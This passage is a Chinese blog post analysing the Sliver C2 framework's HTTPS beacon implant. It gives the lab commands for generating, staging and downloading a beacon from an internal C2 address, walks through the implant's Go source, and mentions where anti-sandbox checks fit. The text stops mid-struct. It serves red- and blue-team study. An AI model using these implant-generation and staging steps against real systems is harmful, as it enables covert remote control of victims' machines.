引言
项目概述:对开源的C2框架sliver进行源码分析,意图学习其原理。本篇分析sliver生成植入物的行为,这里主要分析C2应用最为广泛的https协议的beacon,理解它的整个流程。
目标与读者:网络安全兴趣爱好者、红队、蓝队
准备工作
git clone https://github.com/BishopFox/sliver.git
找到植入物的源码
在项目根目录的implant是未经过渲染的源码模板,后续在服务端分析详细介绍。我们这里直接根据之前的分析找到进行go build
的临时目录,将整个源码打包出来分析。
前文 sliver源码分析 | 植入物生成逻辑 - FreeBuf网络安全行业门户
生成windows的植入物,最终找到的植入物源码路径在
~/.sliver/slivers/windows/amd64/xxxx/src
其中xxxx
是随机生成的名称,每次生成新的植入物都会更新
为了方便查找,可以将~/.sliver/slivers/
清空后生成一次植入物,即可得到刚刚生成植入物的go源码
实际操作
这里以在kali-linux
作为基准,这里terminal 1
表示使用的第一个terminal
terminal 1
到达生成源码的路径
cd ~/.sliver/slivers/
如果此前未执行植入物生成,则这里的路径会是空的
terminal 2
启动sliver,并且开启一个简单的https监听,使用默认配置生成一个植入物
./sliver-server
sliver > https
sliver > jobs
ID Name Protocol Port Domains
==== ======= ========== ====== =========
1 https tcp 443
由于在内网进行试验,所以这里写当前kali的内网ip,加上-d
表示开启debug
generate beacon --http 10.10.100.144:443 --save beacon.exe -d
等待生成完毕,会在当前目录得到beacon.exe
然后在 terminal 1 中可以看到
└─$ ls
windows
└─$ cd windows/amd64/RISING_ANESTHESIOLOGY/
└─$ ls
bin src
其中bin是生成的exe的路径,而src路径下就是我们要的源码
分析植入物源码
这里参考官方官方的profile进行分析
Sliver Tutorial: 3 - C2 Profiles and configuration
其中这个部分
- `.woff` for staging
- `.js` for poll requests
- `.html` for key exchanges
- `.png` for close session
- `.php` for session messages
可以得知sliver的默认植入物在http交互中整个生命周期会用的后缀,因为他的默认目标是ruby-on-rails
,所以根据默认目标设定了这个后缀。
Staging阶段--不在源码中
terminal 2 中查看植入物,可以看到植入物的信息(Name,Implant Type,Template,OS/Arch,Format,Command & Control,Debug,C2 Config,ID,Stage)
sliver > implants
Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage
======================= ============== ========== =============== ============ =============================== ======= =========== ======= =======
RISING_ANESTHESIOLOGY beacon sliver windows/amd64 EXECUTABLE [1] https://10.10.100.144:443 true default 22352 false
其中stage是表示这个植入物是否开放下载,即通过http去投递,而这个ID则是为了确定下载的时候定位这个植入物。
这里的false需要通过下面的命令进行开启,使它切换为true
implants stage
然后选择植入物名称,按空格,出现[x]
之后按enter确定。
再次查看即可看到stage状态为true
sliver > implants stage
? Select sessions and beacons to expose: RISING_ANESTHESIOLOGY
sliver > implants
Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage
======================= ============== ========== =============== ============ =============================== ======= =========== ======= =======
RISING_ANESTHESIOLOGY beacon sliver windows/amd64 EXECUTABLE [1] https://10.10.100.144:443 true default 22352 true
这里用aria2c,因为它可以方便的忽略证书
aria2c --check-certificate=false -o some.exe https://10.10.100.144/test.woff?a=22352
但是我们已经在~/.sliver/slivers/windows/amd64/RISING_ANESTHESIOLOGY/
找到了它的源码,也就是说,源码里没有staging阶段
我们可以在bin目录来对比这两个是否一致RISING_ANESTHESIOLOGY.exe
为临时目录里生成的植入物,some.exe
是通过https下载的。
Get-FileHash -Path "RISING_ANESTHESIOLOGY.exe" -Algorithm SHA256
Get-FileHash -Path "some.exe" -Algorithm SHA256
可以看到完全一致
Algorithm Hash Path
--------- ---- ----
SHA256 510AF540F1A362F62553D58CD880F2F2BDDBA4B3F31DBBDCE7E35D577ECC91E5 C:\Users\Administrator\Desktop\code\bin\RISING_ANESTHESIOLOGY.exe
SHA256 510AF540F1A362F62553D58CD880F2F2BDDBA4B3F31DBBDCE7E35D577ECC91E5 C:\Users\Administrator\Desktop\code\bin\some.exe
源码分析
sliver.go
按照执行时间,首先看init()
var (
InstanceID string
connectionErrors = 0
ErrTerminate = errors.New("terminate")
)
func init() {
id, err := uuid.NewV4()
if err != nil {
buf := make([]byte, 16) // NewV4 fails if secure rand fails
insecureRand.Read(buf)
id = uuid.FromBytesOrNil(buf)
}
InstanceID = id.String()
}
很明显。初始化了一个UUID。
然后再看main函数
func main() {
log.SetFlags(log.LstdFlags | log.Lshortfile)
debugFilePath := ""
if debugFilePath != "" {
file, err := os.OpenFile(debugFilePath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
if err == nil {
log.SetOutput(file)
}
}
log.Printf("Hello my name is %s", consts.SliverName)
limits.ExecLimits() // Check to see if we should execute
beaconStartup()
}
这里如果发现源码中没有log.Printf
,说明生成植入物的时候没有加上-d
,需要开启调试模式才会在渲染植入物源码的时候加上各种日志。
2024/11/26 16:55:54 sliver.go:92: Hello my name is RISING_ANESTHESIOLOGY 2024/11/26 16:55:54 limits.go:58: Limit checks completed 2024/11/26 16:55:54 sliver.go:109: Running in Beacon mode with ID: 1453b598-1cdc-4172-9bfb-8f33933a09e6
limits.ExecLimits()的内容是检查是否应该运行,就是说,这里可以加入一些反沙箱的东西。
// ExecLimits - Checks for execution limitations (domain, hostname, etc)
func ExecLimits() {
log.Printf("Limit checks completed")
os.Executable() // To avoid any "os unused" errors
}
函数的注释说明这里可以做一些域名、主机名之类的检测,来过掉某些沙箱
main->beaconStartup
func beaconStartup() {
//
log.Printf("Running in Beacon mode with ID: %s", InstanceID)
//
abort := make(chan struct{})
defer func() {
abort <- struct{}{}
}()
beacons := transports.StartBeaconLoop(abort)
for beacon := range beacons {
//
log.Printf("Next beacon = %v", beacon)
//
if beacon != nil {
err := beaconMainLoop(beacon)
if err != nil {
connectionErrors++
if transports.GetMaxConnectionErrors() < connectionErrors {
return
}
}
}
reconnect := transports.GetReconnectInterval()
//
log.Printf("Reconnect sleep: %s", reconnect)
//
time.Sleep(reconnect)
}
}
创建了一个abort的空结构体,用于终止循环。
通过beacons := transports.StartBeaconLoop(abort)
初始化beacon,即根据模板填充的C2的HOST以及beacon类型(这里用的是https)进行初始化。
然后使用这个beacon开始执行beaconMainLoop
,也就是进入key exchanges
以及poll requests
阶段。如果连接失败达到最大次数则会直接return。
StartBeaconLoop
开始分析main->beaconStartup->StartBeaconLoop
func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
//
log.Printf("Starting beacon loop ...")
//
var beacon *Beacon
nextBeacon := make(chan *Beacon)
innerAbort := make(chan struct{})
c2Generator := C2Generator(innerAbort)
go func() {
defer close(nextBeacon)
defer func() {
innerAbort <- struct{}{}
}()
//
log.Printf("Recv from c2 generator ...")
//
for uri := range c2Generator {
//
log.Printf("Next CC = %s", uri.String())
//
switch uri.Scheme {
// *** MTLS ***
// - IncludeMTLS
case "wg":
// *** WG ***
// - IncludeWG
case "https":
fallthrough
case "http":
// *** HTTP ***
//
beacon = httpBeacon(uri)
// - IncludeHTTP
case "dns":
// *** DNS ***
// - IncludeDNS
default:
//
log.Printf("Unknown c2 protocol %s", uri.Scheme)
//
}
select {
case nextBeacon <- beacon:
case <-abort:
return
}
}
}()
return nextBeacon
}
可以看到这个函数首先调用了C2Generator获得了c2Generator
这个c2Generator的类型是<-chan *url.URL
所以需要用range来读取channel的数据,即URL
然后通过beacon = httpBeacon(uri)
构建httpBeacon,最后将beacon传入nextBeacon进行后续的操作。
beacon
为后面分析做铺垫,先看看定义的结构体
implant\sliver\transports\beacon.go
// Beacon - Abstract connection to the server
type Beacon str